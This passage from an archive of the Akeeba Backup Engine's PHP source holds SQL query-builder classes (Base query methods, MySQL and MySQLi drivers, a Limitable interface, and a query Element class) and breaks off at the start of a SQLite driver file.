		}

		return $this->db->escape($text, $extra);
	}

	/**
	 * Add a single column, or array of columns to the EXEC clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The exec method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->exec('a.*')->exec('b.id');
	 * $query->exec(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function exec($columns)
	{
		$this->type = 'exec';

		if (is_null($this->exec))
		{
			$this->exec = new QueryElement('EXEC', $columns);
		}
		else
		{
			$this->exec->append($columns);
		}

		return $this;
	}

	/**
	 * Add a table to the FROM clause of the query.
	 *
	 * Note that while an array of tables can be provided, it is recommended you use explicit joins.
	 *
	 * Usage:
	 * $query->select('*')->from('#__a');
	 *
	 * @param   mixed   $tables         A string or array of table names.
	 *                                  This can be a Base object (or a child of it) when used
	 *                                  as a subquery in FROM clause along with a value for $subQueryAlias.
	 * @param   string  $subQueryAlias  Alias used when $tables is a Base.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function from($tables, $subQueryAlias = null)
	{
		if (is_null($this->from))
		{
			if ($tables instanceof $this)
			{
				if (is_null($subQueryAlias))
				{
					throw new QueryException('Null subquery defined');
				}

				$tables = '( ' . (string) $tables . ' ) AS ' . $this->quoteName($subQueryAlias);
			}

			$this->from = new QueryElement('FROM', $tables);
		}
		else
		{
			$this->from->append($tables);
		}

		return $this;
	}

	/**
	 * Used to get a string to extract year from date column.
	 *
	 * Usage:
	 * $query->select($query->year($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing year to be extracted.
	 *
	 * @return  string  Returns string to extract year from a date.
	 */
	public function year($date)
	{
		return 'YEAR(' . $date . ')';
	}

	/**
	 * Used to get a string to extract month from date column.
	 *
	 * Usage:
	 * $query->select($query->month($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing month to be extracted.
	 *
	 * @return  string  Returns string to extract month from a date.
	 */
	public function month($date)
	{
		return 'MONTH(' . $date . ')';
	}

	/**
	 * Used to get a string to extract day from date column.
	 *
	 * Usage:
	 * $query->select($query->day($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing day to be extracted.
	 *
	 * @return  string  Returns string to extract day from a date.
	 */
	public function day($date)
	{
		return 'DAY(' . $date . ')';
	}

	/**
	 * Used to get a string to extract hour from date column.
	 *
	 * Usage:
	 * $query->select($query->hour($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing hour to be extracted.
	 *
	 * @return  string  Returns string to extract hour from a date.
	 */
	public function hour($date)
	{
		return 'HOUR(' . $date . ')';
	}

	/**
	 * Used to get a string to extract minute from date column.
	 *
	 * Usage:
	 * $query->select($query->minute($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing minute to be extracted.
	 *
	 * @return  string  Returns string to extract minute from a date.
	 */
	public function minute($date)
	{
		return 'MINUTE(' . $date . ')';
	}

	/**
	 * Used to get a string to extract seconds from date column.
	 *
	 * Usage:
	 * $query->select($query->second($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing second to be extracted.
	 *
	 * @return  string  Returns string to extract second from a date.
	 */
	public function second($date)
	{
		return 'SECOND(' . $date . ')';
	}

	/**
	 * Add a grouping column to the GROUP clause of the query.
	 *
	 * Usage:
	 * $query->group('id');
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function group($columns)
	{
		if (is_null($this->group))
		{
			$this->group = new QueryElement('GROUP BY', $columns);
		}
		else
		{
			$this->group->append($columns);
		}

		return $this;
	}

	/**
	 * A conditions to the HAVING clause of the query.
	 *
	 * Usage:
	 * $query->group('id')->having('COUNT(id) > 5');
	 *
	 * @param   mixed   $conditions  A string or array of columns.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function having($conditions, $glue = 'AND')
	{
		if (is_null($this->having))
		{
			$glue         = strtoupper($glue);
			$this->having = new QueryElement('HAVING', $conditions, " $glue ");
		}
		else
		{
			$this->having->append($conditions);
		}

		return $this;
	}

	/**
	 * Add an INNER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->innerJoin('b ON b.id = a.id')->innerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function innerJoin($condition)
	{
		$this->join('INNER', $condition);

		return $this;
	}

	/**
	 * Add a table name to the INSERT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->insert('#__a')->set('id = 1');
	 * $query->insert('#__a')->columns('id, title')->values('1,2')->values('3,4');
	 * $query->insert('#__a')->columns('id, title')->values(array('1,2', '3,4'));
	 *
	 * @param   mixed    $table           The name of the table to insert data into.
	 * @param   boolean  $incrementField  The name of the field to auto increment.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function insert($table, $incrementField = false)
	{
		$this->type               = 'insert';
		$this->insert             = new QueryElement('INSERT INTO', $table);
		$this->autoIncrementField = $incrementField;

		return $this;
	}

	/**
	 * Add a JOIN clause to the query.
	 *
	 * Usage:
	 * $query->join('INNER', 'b ON b.id = a.id);
	 *
	 * @param   string  $type        The type of join. This string is prepended to the JOIN keyword.
	 * @param   string  $conditions  A string or array of conditions.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function join($type, $conditions)
	{
		if (is_null($this->join))
		{
			$this->join = [];
		}
		$this->join[] = new QueryElement(strtoupper($type) . ' JOIN', $conditions);

		return $this;
	}

	/**
	 * Add a LEFT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->leftJoin('b ON b.id = a.id')->leftJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function leftJoin($condition)
	{
		$this->join('LEFT', $condition);

		return $this;
	}

	/**
	 * Get the length of a string in bytes.
	 *
	 * Note, use 'charLength' to find the number of characters in a string.
	 *
	 * Usage:
	 * query->where($query->length('a').' > 3');
	 *
	 * @param   string  $value  The string to measure.
	 *
	 * @return  int
	 */
	public function length($value)
	{
		return 'LENGTH(' . $value . ')';
	}

	/**
	 * Get the null or zero representation of a timestamp for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the nullDate method directly.
	 *
	 * Usage:
	 * $query->where('modified_date <> '.$query->nullDate());
	 *
	 * @param   boolean  $quoted  Optionally wraps the null date in database quotes (true by default).
	 *
	 * @return  string  Null or zero representation of a timestamp.
	 */
	public function nullDate($quoted = true)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		$result = $this->db->getNullDate();

		if ($quoted)
		{
			return $this->db->quote($result);
		}

		return $result;
	}

	/**
	 * Add a ordering column to the ORDER clause of the query.
	 *
	 * Usage:
	 * $query->order('foo')->order('bar');
	 * $query->order(array('foo','bar'));
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function order($columns)
	{
		if (is_null($this->order))
		{
			$this->order = new QueryElement('ORDER BY', $columns);
		}
		else
		{
			$this->order->append($columns);
		}

		return $this;
	}

	/**
	 * Add an OUTER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->outerJoin('b ON b.id = a.id')->outerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function outerJoin($condition)
	{
		$this->join('OUTER', $condition);

		return $this;
	}

	/**
	 * Method to quote and optionally escape a string to database requirements for insertion into the database.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quote method directly.
	 *
	 * Note that 'q' is an alias for this method as it is in DriverBase.
	 *
	 * Usage:
	 * $query->quote('fulltext');
	 * $query->q('fulltext');
	 * $query->q(array('option', 'fulltext'));
	 *
	 * @param   mixed    $text    A string or an array of strings to quote.
	 * @param   boolean  $escape  True to escape the string, false to leave it unchanged.
	 *
	 * @return  string  The quoted input string.
	 *
	 * @throws  QueryException if the internal db property is not a valid object.
	 */
	public function quote($text, $escape = true)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->quote($text, $escape);
	}

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quoteName method directly.
	 *
	 * Note that 'qn' is an alias for this method as it is in DriverBase.
	 *
	 * Usage:
	 * $query->quoteName('#__a');
	 * $query->qn('#__a');
	 *
	 * @param   mixed  $name  The identifier name to wrap in quotes, or an array of identifier names to wrap in quotes.
	 *                        Each type supports dot-notation name.
	 * @param   mixed  $as    The AS query part associated to $name. It can be string or array, in latter case it has
	 *                        to be same length of $name; if is null there will not be any AS part for string or array
	 *                        element.
	 *
	 * @return  mixed  The quote wrapped name, same type of $name.
	 *
	 * @throws  QueryException if the internal db property is not a valid object.
	 */
	public function quoteName($name, $as = null)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->quoteName($name, $as);
	}

	/**
	 * Add a RIGHT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->rightJoin('b ON b.id = a.id')->rightJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function rightJoin($condition)
	{
		$this->join('RIGHT', $condition);

		return $this;
	}

	/**
	 * Add a single column, or array of columns to the SELECT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The select method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->select('a.*')->select('b.id');
	 * $query->select(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function select($columns)
	{
		$this->type = 'select';

		if (is_null($this->select))
		{
			$this->select = new QueryElement('SELECT', $columns);
		}
		else
		{
			$this->select->append($columns);
		}

		return $this;
	}

	/**
	 * Add a single condition string, or an array of strings to the SET clause of the query.
	 *
	 * Usage:
	 * $query->set('a = 1')->set('b = 2');
	 * $query->set(array('a = 1', 'b = 2');
	 *
	 * @param   mixed   $conditions  A string or array of string conditions.
	 * @param   string  $glue        The glue by which to join the condition strings. Defaults to ,.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function set($conditions, $glue = ',')
	{
		if (is_null($this->set))
		{
			$glue      = strtoupper($glue);
			$this->set = new QueryElement('SET', $conditions, "\n\t$glue ");
		}
		else
		{
			$this->set->append($conditions);
		}

		return $this;
	}

	/**
	 * Allows a direct query to be provided to the database
	 * driver's setQuery() method, but still allow queries
	 * to have bounded variables.
	 *
	 * Usage:
	 * $query->setQuery('select * from #__users');
	 *
	 * @param   mixed  $query  An SQL Query
	 *
	 * @return  QueryElement  Returns this object to allow chaining.
	 */
	public function setQuery($query)
	{
		$this->sql = $query;

		return $this;
	}

	/**
	 * Add a table name to the UPDATE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->update('#__foo')->set(...);
	 *
	 * @param   string  $table  A table to update.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function update($table)
	{
		$this->type   = 'update';
		$this->update = new QueryElement('UPDATE', $table);

		return $this;
	}

	/**
	 * Adds a tuple, or array of tuples that would be used as values for an INSERT INTO statement.
	 *
	 * Usage:
	 * $query->values('1,2,3')->values('4,5,6');
	 * $query->values(array('1,2,3', '4,5,6'));
	 *
	 * @param   string  $values  A single tuple, or array of tuples.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function values($values)
	{
		if (is_null($this->values))
		{
			$this->values = new QueryElement('()', $values, '),(');
		}
		else
		{
			$this->values->append($values);
		}

		return $this;
	}

	/**
	 * Add a single condition, or an array of conditions to the WHERE clause of the query.
	 *
	 * Usage:
	 * $query->where('a = 1')->where('b = 2');
	 * $query->where(array('a = 1', 'b = 2'));
	 *
	 * @param   mixed   $conditions  A string or array of where conditions.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function where($conditions, $glue = 'AND')
	{
		if (is_null($this->where))
		{
			$glue        = strtoupper($glue);
			$this->where = new QueryElement('WHERE', $conditions, " $glue ");
		}
		else
		{
			$this->where->append($conditions);
		}

		return $this;
	}

	/**
	 * Method to provide deep copy support to nested objects and
	 * arrays when cloning.
	 *
	 * @return  void
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if ($k === 'db')
			{
				continue;
			}

			if (is_object($v) || is_array($v))
			{
				$this->$k = unserialize(serialize($v));
			}
		}
	}

	/**
	 * Add a query to UNION with the current query.
	 * Multiple unions each require separate statements and create an array of unions.
	 *
	 * Usage:
	 * $query->union('SELECT name FROM  #__foo')
	 * $query->union('SELECT name FROM  #__foo','distinct')
	 * $query->union(array('SELECT name FROM  #__foo','SELECT name FROM  #__bar'))
	 *
	 * @param   mixed    $query     The Base object or string to union.
	 * @param   boolean  $distinct  True to only return distinct rows from the union.
	 * @param   string   $glue      The glue by which to join the conditions.
	 *
	 * @return  mixed    The Base object on success or boolean false on failure.
	 */
	public function union($query, $distinct = false, $glue = '')
	{
		// Clear any ORDER BY clause in UNION query
		// See http://dev.mysql.com/doc/refman/5.0/en/union.html
		if (!is_null($this->order))
		{
			$this->clear('order');
		}

		// Set up the DISTINCT flag, the name with parentheses, and the glue.
		if ($distinct)
		{
			$name = 'UNION DISTINCT ()';
			$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
		}
		else
		{
			$glue = ')' . PHP_EOL . 'UNION (';
			$name = 'UNION ()';
		}

		// Get the QueryElement if it does not exist
		if (is_null($this->union))
		{
			$this->union = new QueryElement($name, $query, "$glue");
		}
		// Otherwise append the second UNION.
		else
		{
			$glue = '';
			$this->union->append($query);
		}

		return $this;
	}

	/**
	 * Add a query to UNION DISTINCT with the current query. Simply a proxy to Union with the Distinct clause.
	 *
	 * Usage:
	 * $query->unionDistinct('SELECT name FROM  #__foo')
	 *
	 * @param   mixed   $query  The Base object or string to union.
	 * @param   string  $glue   The glue by which to join the conditions.
	 *
	 * @return  mixed   The Base object on success or boolean false on failure.
	 */
	public function unionDistinct($query, $glue = '')
	{
		$distinct = true;

		// Apply the distinct flag to the union.
		return $this->union($query, $distinct, $glue);
	}

	/**
	 * Find and replace sprintf-like tokens in a format string.
	 * Each token takes one of the following forms:
	 *     %%       - A literal percent character.
	 *     %[t]     - Where [t] is a type specifier.
	 *     %[n]$[x] - Where [n] is an argument specifier and [t] is a type specifier.
	 *
	 * Types:
	 * a - Numeric: Replacement text is coerced to a numeric type but not quoted or escaped.
	 * e - Escape: Replacement text is passed to $this->escape().
	 * E - Escape (extra): Replacement text is passed to $this->escape() with true as the second argument.
	 * n - Name Quote: Replacement text is passed to $this->quoteName().
	 * q - Quote: Replacement text is passed to $this->quote().
	 * Q - Quote (no escape): Replacement text is passed to $this->quote() with false as the second argument.
	 * r - Raw: Replacement text is used as-is. (Be careful)
	 *
	 * Date Types:
	 * - Replacement text automatically quoted (use uppercase for Name Quote).
	 * - Replacement text should be a string in date format or name of a date column.
	 * y/Y - Year
	 * m/M - Month
	 * d/D - Day
	 * h/H - Hour
	 * i/I - Minute
	 * s/S - Second
	 *
	 * Invariable Types:
	 * - Takes no argument.
	 * - Argument index not incremented.
	 * t - Replacement text is the result of $this->currentTimestamp().
	 * z - Replacement text is the result of $this->nullDate(false).
	 * Z - Replacement text is the result of $this->nullDate(true).
	 *
	 * Usage:
	 * $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a', 'foo', '#__foo', 'bar', 1);
	 * Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1
	 *
	 * Notes:
	 * The argument specifier is optional but recommended for clarity.
	 * The argument index used for unspecified tokens is incremented only when used.
	 *
	 * @param   string  $format  The formatting string.
	 *
	 * @return  string  Returns a string produced according to the formatting string.
	 */
	public function format($format)
	{
		$query = $this;
		$args  = array_slice(func_get_args(), 1);
		array_unshift($args, null);

		$i    = 1;
		$func = function ($match) use ($query, $args, &$i) {
			if (isset($match[6]) && $match[6] == '%')
			{
				return '%';
			}

			// No argument required, do not increment the argument index.
			switch ($match[5])
			{
				case 't':
					return $query->currentTimestamp();
					break;

				case 'z':
					return $query->nullDate(false);
					break;

				case 'Z':
					return $query->nullDate(true);
					break;
			}

			// Increment the argument index only if argument specifier not provided.
			$index = is_numeric($match[4]) ? (int) $match[4] : $i++;

			if (!$index || !isset($args[$index]))
			{
				$replacement = '';
			}
			else
			{
				$replacement = $args[$index];
			}

			switch ($match[5])
			{
				case 'a':
					return 0 + $replacement;
					break;

				case 'e':
					return $query->escape($replacement);
					break;

				case 'E':
					return $query->escape($replacement, true);
					break;

				case 'n':
					return $query->quoteName($replacement);
					break;

				case 'q':
					return $query->quote($replacement);
					break;

				case 'Q':
					return $query->quote($replacement, false);
					break;

				case 'r':
					return $replacement;
					break;

				// Dates
				case 'y':
					return $query->year($query->quote($replacement));
					break;

				case 'Y':
					return $query->year($query->quoteName($replacement));
					break;

				case 'm':
					return $query->month($query->quote($replacement));
					break;

				case 'M':
					return $query->month($query->quoteName($replacement));
					break;

				case 'd':
					return $query->day($query->quote($replacement));
					break;

				case 'D':
					return $query->day($query->quoteName($replacement));
					break;

				case 'h':
					return $query->hour($query->quote($replacement));
					break;

				case 'H':
					return $query->hour($query->quoteName($replacement));
					break;

				case 'i':
					return $query->minute($query->quote($replacement));
					break;

				case 'I':
					return $query->minute($query->quoteName($replacement));
					break;

				case 's':
					return $query->second($query->quote($replacement));
					break;

				case 'S':
					return $query->second($query->quoteName($replacement));
					break;
			}

			return '';
		};

		/**
		 * Regexp to find an replace all tokens.
		 * Matched fields:
		 * 0: Full token
		 * 1: Everything following '%'
		 * 2: Everything following '%' unless '%'
		 * 3: Argument specifier and '$'
		 * 4: Argument specifier
		 * 5: Type specifier
		 * 6: '%' if full token is '%%'
		 */

		return preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#', $func, $format);
	}

	/**
	 * Add to the current date and time.
	 * Usage:
	 * $query->select($query->dateAdd());
	 * Prefixing the interval with a - (negative sign) will cause subtraction to be used.
	 * Note: Not all drivers support all units.
	 *
	 * @param   string  $date      The SQL-formatted date to add to. May be a date or datetime string.
	 * @param   string  $interval  The string representation of the appropriate number of units
	 * @param   string  $datePart  The part of the date to perform the addition on
	 *
	 * @return  string  The string with the appropriate sql for addition of dates
	 *
	 * @see http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add
	 */
	public function dateAdd($date, $interval, $datePart)
	{
		return trim("DATE_ADD('" . $date . "', INTERVAL " . $interval . ' ' . $datePart . ')');
	}

	/**
	 * Add a query to UNION ALL with the current query.
	 * Multiple unions each require separate statements and create an array of unions.
	 *
	 * Usage:
	 * $query->union('SELECT name FROM  #__foo')
	 * $query->union('SELECT name FROM  #__foo','distinct')
	 * $query->union(array('SELECT name FROM  #__foo','SELECT name FROM  #__bar'))
	 *
	 * @param   mixed    $query     The Base object or string to union.
	 * @param   boolean  $distinct  True to only return distinct rows from the union.
	 * @param   string   $glue      The glue by which to join the conditions.
	 *
	 * @return  mixed    The Base object on success or boolean false on failure.
	 */
	public function unionAll($query, $distinct = false, $glue = '')
	{
		$glue = ')' . PHP_EOL . 'UNION ALL (';
		$name = 'UNION ALL ()';

		// Get the QueryElement if it does not exist
		if (is_null($this->unionAll))
		{
			$this->unionAll = new QueryElement($name, $query, "$glue");
		}

		// Otherwise append the second UNION.
		else
		{
			$glue = '';
			$this->unionAll->append($query);
		}

		return $this;
	}
}
com_akeeba/BackupEngine/Driver/Query/Mysqli.php000060400000005644152455305260015510 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as BaseQuery;

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Mysqli extends Base implements Limitable
{
	/**
	 * @var    integer  The offset for the result set.
	 */
	protected $offset;

	/**
	 * @var    integer  The limit for the result set.
	 */
	protected $limit;

	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return string
	 */
	public function processLimit($query, $limit, $offset = 0)
	{
		if ($limit > 0 || $offset > 0)
		{
			$query .= ' LIMIT ' . $offset . ', ' . $limit;
		}

		return $query;
	}

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  BaseQuery  Returns this object to allow chaining.
	 */
	public function setLimit($limit = 0, $offset = 0)
	{
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			$concat_string = 'CONCAT_WS(' . $this->quote($separator);

			foreach ($values as $value)
			{
				$concat_string .= ', ' . $value;
			}

			return $concat_string . ')';
		}
		else
		{
			return 'CONCAT(' . implode(',', $values) . ')';
		}
	}
}
com_akeeba/BackupEngine/Driver/Query/Pdomysql.php000060400000001767152455305260016044 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Pdomysql extends Mysqli implements Limitable
{
}
com_akeeba/BackupEngine/Driver/Query/Limitable.php000060400000004427152455305260016132 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as BaseQuery;

/**
 * Query Limitable Interface.
 * Adds bind/unbind methods as well as a getBounded() method
 * to retrieve the stored bounded variables on demand prior to
 * query execution.
 *
 * Based on Joomla! Platform 11.2
 */
interface Limitable
{
	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset. This method is used
	 * automatically by the __toString() method if it detects that the
	 * query implements the Limitable interface.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  string
	 *
	 * @since   12.1
	 */
	public function processLimit($query, $limit, $offset = 0);

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  BaseQuery  Returns this object to allow chaining.
	 *
	 * @since   12.1
	 */
	public function setLimit($limit = 0, $offset = 0);
}
com_akeeba/BackupEngine/Driver/Query/Mysql.php000060400000001737152455305260015336 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Mysql extends Mysqli
{
}
com_akeeba/BackupEngine/Driver/Query/Element.php000060400000005235152455305260015617 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Element Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Element
{
	/**
	 * @var    string  The name of the element.
	 */
	protected $name = null;

	/**
	 * @var    array  An array of elements.
	 */
	protected $elements = null;

	/**
	 * @var    string  Glue piece.
	 */
	protected $glue = null;

	/**
	 * Constructor.
	 *
	 * @param   string  $name      The name of the element.
	 * @param   mixed   $elements  String or array.
	 * @param   string  $glue      The glue for elements.
	 */
	public function __construct($name, $elements, $glue = ',')
	{
		$this->elements = [];
		$this->name     = $name;
		$this->glue     = $glue;

		$this->append($elements);
	}

	/**
	 * Magic function to convert the query element to a string.
	 *
	 * @return  string
	 */
	public function __toString()
	{
		if (substr($this->name, -2) == '()')
		{
			return PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')';
		}
		else
		{
			return PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements);
		}
	}

	/**
	 * Appends element parts to the internal list.
	 *
	 * @param   mixed  $elements  String or array.
	 *
	 * @return  void
	 */
	public function append($elements)
	{
		if (is_array($elements))
		{
			$this->elements = array_merge($this->elements, $elements);
		}
		else
		{
			$this->elements = array_merge($this->elements, [$elements]);
		}
	}

	/**
	 * Gets the elements of this element.
	 *
	 * @return  string
	 */
	public function getElements()
	{
		return $this->elements;
	}

	/**
	 * Method to provide deep copy support to nested objects and arrays
	 * when cloning.
	 *
	 * @return  void
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if (is_object($v) || is_array($v))
			{
				$this->{$k} = unserialize(serialize($v));
			}
		}
	}
}
com_akeeba/BackupEngine/Driver/Query/Sqlite.php000060400000014741152455305260015471 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
